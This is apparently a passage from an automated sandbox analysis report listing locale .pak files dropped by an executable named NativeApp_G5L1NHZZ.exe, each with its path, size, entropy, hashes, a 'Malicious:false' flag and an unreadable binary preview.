                                                                                                                                                                                                                                                                Preview:........"...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.,...w.9...y.?...z.N...|.T...}.f.....n.....s.....{.....................................................6.....X.....}.............................&.....@...................................%.....S.....y.......................&.............................Z.....j.....................................................2.....n.....w.....z.......................A.................).....o..............................................._.....n.................7.....T...............................................$.....n.....q............................./.....b.....i.....l.....n.........................................R...................................Z.....z...................................5.................q.................\...................................0... .K...".k...%.....(.....*.2...+.5...,.S........./.....0.....1.p...3.....4.....5.....6._...7.....8.....9.....;.^...<.r...=.....>.....?.....@.....A.;...C...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\hr.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):423481
                                                                                                                                                                                                                                                                Entropy (8bit):5.516218200944141
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3072:yL0fCmEZW/FhjNmvgVRTKBOS+/6ocIG0uPXuyAF6WI6DkYAiKbeM/ogQbn7xjemW:QYCmNLjN3pV5v5tE77ORS
                                                                                                                                                                                                                                                                MD5:8F9498D18D90477AD24EA01A97370B08
                                                                                                                                                                                                                                                                SHA1:3868791B549FC7369AB90CD27684F129EBD628BE
                                                                                                                                                                                                                                                                SHA-256:846943F77A425F3885689DCF12D62951C5B7646E68EADC533B8B5C2A1373F02E
                                                                                                                                                                                                                                                                SHA-512:3C66A84592DEBE522F26C48B55C04198AD8A16C0DCFA05816825656C76C1C6CCCF5767B009F20ECB77D5A589EE44B0A0011EC197FEC720168A6C72C71EBF77FD
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........h...h.2...i.C...j.O...k.^...l.i...n.q...o.v...p.....r.....s.....t.....v.....w.....y.....z.....|.....}...........................................%.....,.....-...........0.....Y.....e.....q.................................................................A.....T.....p.....x...........................................................".....*.....8.....G.....X.............................................................................%.....B.....c.......................................................................G.....U.....a.....w.............................................../.....2.....B.....S.....f.....|.................................................................(.....g.............................8.....l.....{.....................................................I.....h................................................... .....".0...%.U...(.r...*.....+.....,.........../.....0.....1.....3.)...4.F...5.d...6.....7.....8.....9.....;.....<.....=.....>.4...?.=...@.N...A.....C...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\hu.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):456789
                                                                                                                                                                                                                                                                Entropy (8bit):5.643595706627357
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:SGAK2lkJ2gSSSfLOAYkky1MV5QgsZfGRAxY62R9PSam7EEOEeLvx5gR4RStG2r2/:pAKWkJ2gSsAkV5QgsiR4747vx5VL/
                                                                                                                                                                                                                                                                MD5:F5E1CA8A14C75C6F62D4BFF34E27DDB5
                                                                                                                                                                                                                                                                SHA1:7ABA6BFF18BDC4C477DA603184D74F054805C78F
                                                                                                                                                                                                                                                                SHA-256:C0043D9FA0B841DA00EC1672D60015804D882D4765A62B6483F2294C3C5B83E0
                                                                                                                                                                                                                                                                SHA-512:1050F96F4F79F681B3EAF4012EC0E287C5067B75BA7A2CBE89D9B380C07698099B156A0EB2CBC5B8AA336D2DAA98E457B089935B534C4D6636987E7E7E32B169
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........6...h.....i.....j.....k.....l.....n.....o.....p.....r.#...s.4...t.=...v.R...w._...y.e...z.t...|.z...}.....................................................................................2.....G.....W.....q.....................................................9.....X.....d.....}...............................................0.....5.....;.....N.....^.....s.....................................................-.....G.....d.....z.......................#.....?.....H.....P.....W.....].....l...............................................(.....Q.....x...........................................................;.....`.....u.....|...............................................1.......................b.....w...........................................................K.....l.......................5.....L.....T....._.....w............... .....".....%.....(.....*.8...+.;...,.Y.....j.../.....0.....1.....3.....4.....5.....6.P...7.k...8.....9.....;.....<.....=.....>.....?.....@.....A.0...C.U...D.b.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\id.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):373937
                                                                                                                                                                                                                                                                Entropy (8bit):5.37852966615304
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:Fl9jv1p49ahfjDVnjHFsRmP28Wvr5PdhpvtEDSVsEaOq:FlLpblVnjHFCm+8Sr5Pdhzq
                                                                                                                                                                                                                                                                MD5:7B39423028DA71B4E776429BB4F27122
                                                                                                                                                                                                                                                                SHA1:CB052AB5F734D7A74A160594B25F8A71669C38F2
                                                                                                                                                                                                                                                                SHA-256:3D95C5819F57A0AD06A118A07E0B5D821032EDCF622DF9B10A09DA9AA974885F
                                                                                                                                                                                                                                                                SHA-512:E40679B01AB14B6C8DFDCE588F3B47BCAFF55DBB1539B343F611B3FCBD1D0E7D8C347A2B928215A629F97E5F68D19C51AF775EC27C6F906CAC131BEAE646CE1A
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........@...h.....i.....j.....k.....l.....n.!...o.&...p.3...r.9...s.J...t.S...v.h...w.u...y.{...z.....|.....}.................................................................................................5.....=.....T.....[.....e.......................................................................,.....J.....[.....h.............................................................................;.....?.....B.....G.....[.....j.....~.................................................................*.....F.....L.....a.........................................6.....H.....Q.....\.....r.........................................................................................!.....'.....3.....a.........................................C.....M.....Y.....`.....h.....o.....v.........................................>.....Q.....V.....\.....i............... .....".....%.....(.....*.....+.....,.#.....3.../.B...0.F...1.z...3.....4.....5.....6.....7.....8.....9.'...;.5...<.>...=.K...>.`...?.h...@.y...A...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\it.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):414412
                                                                                                                                                                                                                                                                Entropy (8bit):5.287149423624235
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:8cPuDjrpxctogSrqRrhsO11RT9TeexAGTL6+q2WKLV9fLwY+25OM388HrmwGWNBI:8cmDZREZJy8KL1LjAS5ZzoC
                                                                                                                                                                                                                                                                MD5:D58A43068BF847C7CD6284742C2F7823
                                                                                                                                                                                                                                                                SHA1:497389765143FAC48AF2BD7F9A309BFE65F59ED9
                                                                                                                                                                                                                                                                SHA-256:265D8B1BC479AD64FA7A41424C446139205AF8029A2469D558813EDD10727F9C
                                                                                                                                                                                                                                                                SHA-512:547A1581DDA28C5C1A0231C736070D8A7B53A085A0CE643A4A1510C63A2D4670FF2632E9823CD25AE2C7CDC87FA65883E0A193853890D4415B38056CB730AB54
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........S...h.....i.....j.%...k.4...l.?...n.G...o.L...p.Y...r._...s.p...t.y...v.....w.....y.....z.....|.....}.........................................................................1.....D.....S.....l.....w.................................................................?.....F.....V.....d.....p.....}...............................................!.....7.....k.............................................................................O.....t.......................................................................>.....L.....Y.....v...........................................................3.....H.....[.....s.................................................................*.....u.............................,.....R.....Z.....n.....w...............................................3.....N............................................. .....".....%.....(.(...*.D...+.G...,.e.....v.../.....0.....1.....3.....4.....5.....6.}...7.....8.....9.....;.....<.....=.....>.....?.....@./...A.]...C.....D...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\ja.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):505292
                                                                                                                                                                                                                                                                Entropy (8bit):5.701779406023226
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3072:rO2YZ2QUgbjicTver049pUVOT6z4Z72hA/Na4oQPkwaIAOenOIUNH7bbeCcX5RWX:rOpZ2eH/IzSVKo4Z728owPS58HRxVX
                                                                                                                                                                                                                                                                MD5:D10D536BCD183030BA07FF5C61BF5E3A
                                                                                                                                                                                                                                                                SHA1:44DD78DBA9F098AC61222EB9647D111AD1608960
                                                                                                                                                                                                                                                                SHA-256:2A3D3ABC9F80BAD52BD6DA5769901E7B9E9F052B6A58A7CC95CE16C86A3AA85A
                                                                                                                                                                                                                                                                SHA-512:C67AEDE9DED1100093253E350D6137AB8B2A852BD84B6C82BA1853F792E053CECD0EA0519319498AED5759BEDC66D75516A4F2F7A07696A0CEF24D5F34EF9DD2
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:..........y.h.....i.....j.....k.....l.....m.....o.....p.....v.....w.....y.....z.....|.....}.0.....8.....=.....E.....P.....X.....g.....l.....t.....{...............................................$.....*.....<.....d.....y...................................).....S.....t...............................................'.....H.....c.....i.....x.............................5.....;.....M.....k...............................................E.....u.....................................................+.....R.....^.............................Q.....~...............................................#.....8.....d...........................................................V...........,.....2...................................5.....>.....J.....P.....Y.....t.............................8............................................. .....".....%.I...(.....*.....+.....,.........../.....0.#...1.h...3.....4.....5.....6.....7.4...8.R...9.p...;.....<.....=.....>.....?.....@.....A.E...C.l...D.....E.....F.....G...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\kn.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):1012272
                                                                                                                                                                                                                                                                Entropy (8bit):4.2289205973296395
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12288:VxaK34cS7yFcH4dr/4g7M5iVUZ+xw+UFV:jf7/K5uUb
                                                                                                                                                                                                                                                                MD5:C548A5F1FB5753408E44F3F011588594
                                                                                                                                                                                                                                                                SHA1:E064AB403972036DAD1B35ABE9794E95DBE4CC00
                                                                                                                                                                                                                                                                SHA-256:890F50A57B862F482D367713201E1E559AC778FC3A36322D1DFBBEF2535DD9CB
                                                                                                                                                                                                                                                                SHA-512:6975E4BB1A90E0906CF6266F79DA6CC4AE32F72A6141943BCFCF9B33F791E9751A9AAFDE9CA537F33F6BA8E4D697125FBC2EC4FFD3BC35851F406567DAE7E631
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........m...h.<...i.M...j.Y...k.h...l.s...n.{...o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}...............................!.....(...../.....6.....7.....8.....=.................=.....}......................./.....A.............................:.......................&.....d.................-.....U.................6.....N.....j.................L.............................4.....C.....F.....d.................4.................e.........................................P.....o...............................................J...........,.....H.....v.................(.....+.....e.......................G.....................................................(...........V...................................H.....`.....................................................c.................e.......................0.....k......... .....".....%._...(.....*.....+.....,.......4.../.l...0.....1.....3.7...4.....5.....6.U...7.....8.....9.....;.O...<.l...=.....>.....?.....@.....A.....C.....D...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\ko.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):425545
                                                                                                                                                                                                                                                                Entropy (8bit):6.081959799252044
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12288:4Y3l9B6CI1zt8OhrJRFJCqM5T718I8Mtmq7hUoBAA:aZJo5D8GAA
                                                                                                                                                                                                                                                                MD5:B4FBFF56E4974A7283D564C6FC0365BE
                                                                                                                                                                                                                                                                SHA1:DE68BD097DEF66D63D5FF04046F3357B7B0E23AC
                                                                                                                                                                                                                                                                SHA-256:8C9ACDE13EDCD40D5B6EB38AD179CC27AA3677252A9CD47990EBA38AD42833E5
                                                                                                                                                                                                                                                                SHA-512:0698AA058561BB5A8FE565BB0BEC21548E246DBB9D38F6010E9B0AD9DE0F59BCE9E98841033AD3122A163DD321EE4B11ED191277CDCB8E0B455D725593A88AA5
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:............h.z...i.....j.....k.....l.....m.....o.....p.....r.....s.....t.....y.....z.....|.....}.......$.....).....1.....<.....D.....S.....X....._.....f.....h.....m...........................................................e.....u.....w.....{...............................................'.....F.....S.....f.....z...............................................$.....*.....3.....F.....Y....._.....b.....h.........................................8.....O.....U.....].....d.....m.....z................................... .....-.....W.....t.........................................,...../.....<.....L.....Y.....r.....................................................".......................s.................................................................=.....T...................................!.....'.....=.....O.....\... ._...".i...%.....(.....*.....+.....,.+.....A.../.^...0.j...1.....3.....4.....5.....6.=...7.S...8.j...9.z...;.....<.....=.....>.....?.....@.....A.....C.6...D.F...E.g...F.~...G...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\lt.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):457220
                                                                                                                                                                                                                                                                Entropy (8bit):5.634955727013476
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:Ca5OlSk7unX4nkokvgneIVUoCb1DD7U5R3zv9dFaL8tx9e2lJ2I96S2:Ca5Olrpgme2UoC9c59zv9fx9eoP6S2
                                                                                                                                                                                                                                                                MD5:980C27FD74CC3560B296FE8E7C77D51F
                                                                                                                                                                                                                                                                SHA1:F581EFA1B15261F654588E53E709A2692D8BB8A3
                                                                                                                                                                                                                                                                SHA-256:41E0F3619CDA3B00ABBBF07B9CD64EC7E4785ED4C8A784C928E582C3B6B8B7DB
                                                                                                                                                                                                                                                                SHA-512:51196F6F633667E849EF20532D57EC81C5F63BAB46555CEA8FAB2963A078ACDFA84843EDED85C3B30F49EF3CEB8BE9E4EF8237E214EF9ECFF6373A84D395B407
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........U...h.....i.....j.)...k.8...l.C...n.K...o.P...p.]...r.c...s.t...t.}...v.....w.....y.....z.....|.....}.........................................................................8.....F.....S.....g.....r.....................................................5.....T.....m.....v...............................................!.....6.....=.....F.....S.....a.....u.....................................................&.....<.....Z.....w.............................5.....>.....F.....M.....X.....j.....................................................-.....T.....m.....{.................................................................H.....O.....R.....S.....].....h.....o.....y.................).....x.............................G.....X.....v...............................................B.....d...............................................)... .>...".N...%.m...(.....*.....+.....,.........../.!...0.$...1.U...3.f...4.....5.....6.....7. ...8.@...9.T...;.b...<.s...=.....>.....?.....@.....A.....C.:.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\lv.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):455871
                                                                                                                                                                                                                                                                Entropy (8bit):5.635474464056208
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:GOQDGtu4e+D8NHtVFHTPq7K4vHo4q3sb3755ZanXDEG9Aarl4zxmEA5QXls14:GOQUZ2Gu4vTqw75KEGGmEs14
                                                                                                                                                                                                                                                                MD5:E4F7D9E385CB525E762ECE1AA243E818
                                                                                                                                                                                                                                                                SHA1:689D784379BAC189742B74CD8700C687FEEEDED1
                                                                                                                                                                                                                                                                SHA-256:523D141E59095DA71A41C14AEC8FE9EE667AE4B868E0477A46DD18A80B2007EF
                                                                                                                                                                                                                                                                SHA-512:E4796134048CD12056D746F6B8F76D9EA743C61FEE5993167F607959F11FD3B496429C3E61ED5464551FD1931DE4878AB06F23A3788EE34BB56F53DB25BCB6DF
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........e...h.,...i.=...j.I...k.X...l.c...n.k...o.p...p.}...r.....s.....t.....v.....w.....y.....z.....|.....}.................................................&.....'.....(.....*.....O.....b.....u.....................................................!.....%.....M.....].....s.....z...............................................!.....2.....8.....>.....Q.....e.....{...........................................................%.....7.....I.....g.....}...........................................................3.....7.....P.........................................+.....<.....O.....d.....v...........................................................".....#.....-.....8.....@.....G.....Y.................-.....8...................................%.....,.....;.....>.....I....._.............................#.....T.....i.....p.....y..................... .....".....%.....(.....*.....+.1...,.O.....r.../.....0.....1.....3.....4.....5.!...6.\...7.|...8.....9.....<.....=.....>.....?.....@.....A.9...C.X...D.e.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\ml.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):1056673
                                                                                                                                                                                                                                                                Entropy (8bit):4.264965642462621
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12288:AYtrLnsoR47/R7nUwmoMmWDcZubSA/d+8di3ethK5d/7dxOt3ab:lt0oNwMi3eG5d/7Ot3c
                                                                                                                                                                                                                                                                MD5:8B38C65FC30210C7AF9B6FA0424266F4
                                                                                                                                                                                                                                                                SHA1:116413710FFCF94FBFA38CB97A47731E43A306F5
                                                                                                                                                                                                                                                                SHA-256:E8DF9A74417C5839C531D7CCAB63884A80AFB731CC62CBBB3FD141779086AC7D
                                                                                                                                                                                                                                                                SHA-512:0FD349C644AC1A2E7ED0247E40900D3A9957F5BEF1351B872710D02687C934A8E63D3A7585E91F7DF78054AEFF8F7ABD8C93A94FCD20C799779A64278BAB2097
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........j...h.6...i.G...j.S...k.b...l.m...n.u...o.z...p.....r.....s.....t.....v.....w.....y.....z.....|.....}.....................................".....).....0.....1.....2.....7.................".....b.....}.......................N...........3.....5.....9.....a.......................M.....{.................@.....n...........!.....e.............................'.......................C.....}.............................H.................=.................P.....~.........................................v.................I.....j.........................................b...................................q.......................b.....i.....l.....n.............................1...........q.....'.....E...........N...........(.....`...................................;.............................Y.....4.............................;.....k... .....".....%.n...(.....*.....+.....,.M........./.....0.....1.}...3.....4.....5.>...6.....7.....8.....9.....;.....<.8...=.X...>.....?.....@.....A.....C...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\mr.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):863911
                                                                                                                                                                                                                                                                Entropy (8bit):4.295071040310227
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3072:OVDue+/Ti/eFcDX6WRAWXXspvidz0F5MU9G3GRe3RQR3K5/knxi4nou4bmHwIZus:eueAi2FZW2bo26lp70Kte5zGpGiBs
                                                                                                                                                                                                                                                                MD5:C0EF1866167D926FB351E9F9BF13F067
                                                                                                                                                                                                                                                                SHA1:6092D04EF3CE62BE44C29DA5D0D3A04985E2BC04
                                                                                                                                                                                                                                                                SHA-256:88DF231CF2E506DB3453F90A797194662A5F85E23BBAC2ED3169D91A145D2091
                                                                                                                                                                                                                                                                SHA-512:9E2B90F3AC1AE5744C22C2442FBCD86A8496AFC2C58F6CA060D6DBB08AF6F7411EF910A7C8CA5AEDEE99B5443D4DFF709C7935E8322CB32F8B071EE59CAEE733
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........(...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.#...t.,...v.A...w.N...y.T...z.c...|.i...}.{.......................................................................9.....[.....}...................................!...................................).....\.............................?.......................&.....E.....a.....w.......................[...............................................4.....^.......................L...................................&.....2.....U.....n.......................i.....................................................;.....X.........................................:.....m.....t.....w.....y.........................................7...................................-.....F.....f.....o.............................".....v.................O.............................?.....t......... .....".....%.,...(.b...*.....+.....,.........../.?...0.L...1.....3.....4.....5.P...6.....7.....8.:...9.b...;.....<.....=.....>.....?.....@.I...A.}...C...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\ms.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):390303
                                                                                                                                                                                                                                                                Entropy (8bit):5.258177538585681
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:zCsFFfyrvxoQuXkulRopY/5BI8T5sHAVHMM/k3y:tQxoNlR6K5v5vVsMZ
                                                                                                                                                                                                                                                                MD5:9B3E2F3C49897228D51A324AB625EB45
                                                                                                                                                                                                                                                                SHA1:8F3DAEC46E9A99C3B33E3D0E56C03402CCC52B9D
                                                                                                                                                                                                                                                                SHA-256:61A3DAAE72558662851B49175C402E9FE6FD1B279E7B9028E49506D9444855C5
                                                                                                                                                                                                                                                                SHA-512:409681829A861CD4E53069D54C80315E0C8B97E5DB4CD74985D06238BE434A0F0C387392E3F80916164898AF247D17E8747C6538F08C0EF1C5E92A7D1B14F539
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........c...h.(...i.0...j.<...k.K...l.V...n.^...o.c...p.p...r.v...s.....t.....v.....w.....y.....z.....|.....}................................................................... .....J.....].....q.................................................................<.....R.....r.....{.......................................................................+.....;.....J.....y.............................................................................6.....S.....w.............................................................................:.....S....._.................................................................0.....I.....`.....s.....z.....}.....~.....................................................M.....T.................................................................2.....N.....f.....................................................,.....:... .=...".I...%.u...(.....*.....+.....,.........../.....0.....1.....3.;...4.Z...5.m...6.....7.....8.....9.....;.....<.....=.....>.:...?.B...@.W...A...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\nb.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):383011
                                                                                                                                                                                                                                                                Entropy (8bit):5.424530593988954
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:rmRAsByIhGvbSqOp7f21zg2mKP7s4Uzwn5el4nYHOp1D:rmRGxvbSqOp7f21vs4kM5el4Jp1D
                                                                                                                                                                                                                                                                MD5:AF0FD9179417BA1D7FCCA3CC5BEE1532
                                                                                                                                                                                                                                                                SHA1:F746077BBF6A73C6DE272D5855D4F1CA5C3AF086
                                                                                                                                                                                                                                                                SHA-256:E900F6D0DD9D5A05B5297618F1FE1600C189313DA931A9CB390EE42383EB070F
                                                                                                                                                                                                                                                                SHA-512:C94791D6B84200B302073B09357ABD2A1D7576B068BAE01DCCDA7BC154A6487145C83C9133848CCF4CB9E6DC6C5A9D4BE9D818E5A0C8F440A4E04AE8EABD4A29
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........S...h.....i.....j.+...k.:...l.E...n.M...o.R...p._...r.e...s.v...t.....v.....w.....y.....z.....|.....}.........................................................................3.....>.....M.....`.....h.....r.....................................................$.....<.....A.....P.....a.....h.....t...........................................................).....\.....o.....v.....{...........................................................).....A.....Z.....e.....i.....q.....x.....~...........................................................5.....X.....n.....w.........................................................................................!.....).....4.....;.....F.....v.......................>.....X.....p...........................................................&.....?.....W................................................... .....".....%. ...(.@...*.c...+.f...,.........../.....0.....1.....3.....4.....5.....6.L...7.c...8.....9.....;.....<.....=.....>.....?.....@.....A.....C.".

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\nl.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):395064
                                                                                                                                                                                                                                                                Entropy (8bit):5.365550895872654
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:9V01rV7gSsX5SEHDpaQe3D+qnRVd5qYx1Gp7KhaPW:96NFgSsX5S1V7d5qYx1Gp7KcPW
                                                                                                                                                                                                                                                                MD5:181D2A0ECE4B67281D9D2323E9B9824D
                                                                                                                                                                                                                                                                SHA1:E8BDC53757E96C12F3CD256C7812532DD524A0EA
                                                                                                                                                                                                                                                                SHA-256:6629E68C457806621ED23AA53B3675336C3E643F911F8485118A412EF9ED14CE
                                                                                                                                                                                                                                                                SHA-512:10D8CC9411CA475C9B659A2CC88D365E811217D957C82D9C144D94843BC7C7A254EE2451A6F485E92385A660FA01577CFFA0D64B6E9E658A87BEF8FCCBBEAF7E
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........E...h.....i.....j.....k.....l.#...n.+...o.0...p.=...r.C...s.T...t.]...v.r...w.....y.....z.....|.....}...............................................................................$.....4.....E.....N.....W.....r.....z.....................................................'.....7.....I.....V.....c...........................................................!.....`.....u.....z...........................................................+.....G.....f.......................................................................9.....E.....].....v.....................................................2.....F.....Y.....t.................................................................'.....a...................................<.....I.....Y.....a.....j.....n.....r...................................".....O.....d.....m.....x..................... .....".....%.....(.....*.....+.....,.!.....2.../.I...0.S...1.....3.....4.....5.....6.....7.....8.;...9.J...;.Z...<.h...=.v...>.....?.....@.....A.....C.....D...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\pl.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):439920
                                                                                                                                                                                                                                                                Entropy (8bit):5.766175831058526
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12288:f2jujSo9/D+Xgv3iWGb1vPiCUdhUo3Ymhz1QhjAB5cUE447e:Sc3N1Qhw5me
                                                                                                                                                                                                                                                                MD5:18D49D5376237BB8A25413B55751A833
                                                                                                                                                                                                                                                                SHA1:0B47A7381DE61742AC2184850822C5FA2AFA559E
                                                                                                                                                                                                                                                                SHA-256:1729AA5C8A7E24A0DB98FEBCC91DF8B7B5C16F9B6BB13A2B0795038F2A14B981
                                                                                                                                                                                                                                                                SHA-512:45344A533CC35C8CE05CF29B11DA6C0F97D8854DAE46CF45EF7D090558EF95C3BD5FDC284D9A7809F0B2BF30985002BE2AA6A4749C0D9AE9BDFF4AD13DE4E570
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........T...h.....i.....j.%...k.4...l.?...n.G...o.L...p.Y...r._...s.p...t.y...v.....w.....y.....z.....|.....}.........................................................................6.....E.....S.....h.....q...........................................................3.....M.....S.....g.....|.................................................................).....;.....n.............................................................................2.....N.....i.....{.................................................................+.....6.....V.....c...........................................................(.....7.....M.....d.....{...........................................................T.............................,.....i.....r.....................................................7.....V.....r............................................. .....".)...%.K...(.c...*.....+.....,.........../.....0.....1.....3.,...4.K...5.i...6.....7.....8.....9.....;.....<.....=.....>.....?.$...@.7...A.{...C...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\pt-BR.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):415447
                                                                                                                                                                                                                                                                Entropy (8bit):5.426006792591415
